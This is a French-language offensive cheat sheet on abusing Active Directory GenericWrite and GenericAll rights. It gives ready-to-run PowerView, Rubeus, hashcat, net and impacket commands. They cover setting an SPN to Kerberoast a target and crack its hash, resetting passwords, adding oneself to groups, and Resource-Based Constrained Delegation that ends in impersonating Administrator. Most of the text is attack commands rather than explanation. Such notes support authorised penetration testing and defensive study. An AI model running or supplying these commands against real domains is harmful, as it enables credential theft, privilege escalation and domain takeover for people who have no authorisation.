📝 Ajout d'un SPN pour Kerberoasting
Si notre utilisateur a les droits GenericWrite ou GenericAll sur un objet de l'AD, il est possible de mettre un SPN sur cet objet, ce qui le rend par la suite kerberoastable.
Énumération des droits de notre utilisateur :
Find-InterestingDomainACL -ResolveGUIDs | ?{$_.IdentityReferenceName -match "notreUser"}Mise en place d'un SPN sur l'utilisateur cible :
Set-DomainObject -Identity UtilisateurCible -Set @{serviceprincipalname='us/hackedBro'}
---
Set-ADUser -Identity UtilisateurCible -ServicePrincipalNames @{add='us/hackedBro'}Kerberoasting de l'utilisateur :
Rubeus.exe kerberoast /outfile:target.txtCracking du hash :
hashcat '$tgs' /ush/share/wordlist/rockyou.txtChangement direct de mot de passe avec GenericAll
Avec le droit GenericAll, il est possible de changer directement le mot de passe de l'objet sur lequel le droit s'applique, mais cette action est beaucoup moins "safe" que d'ajouter un SPN :
net user userCible password /domainAjout à un groupe avec GenericAll
Si le droit GenericAll s'applique sur un groupe, il est possible de s'ajouter dans ce groupe :
net group "groupe" user /add /domain📝 GenericWrite sur un compte machine
Ce droit permet d'abuser de la Resource-Based Constrained Delegation (RBCD).
🍔 Depuis Windows
Pour exploiter ce droit, nous avons besoin des scripts powermad.ps1 et [PowerView](../../../Cheatsheets/Tools/PowerView.md).
Création d'un compte machine :
import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -VerboseVérification de la création du compte :
Get-DomainComputerÉcriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Récupération du hash du compte machine créé :
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.localRécupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible🐧 Depuis Linux
Création d'un compte machine :
impacket-addcomputer -computer-name 'COMPUTER$' -computer-pass '$password' -dc-host $dc -domain-netbios $DOMAIN 'domain.local\$user:$password'Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
impacket-rbcd -delegate-from 'paked$' -delegate-to 'cible$' -dc-ip '$dc$' -action 'write' 'domain.local'/'$utilisateur':'$Password'Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
impacket-getST -spn 'cifs/$cible' -impersonate Administrator -dc-ip '$dc' 'domain.local/paked$:$password'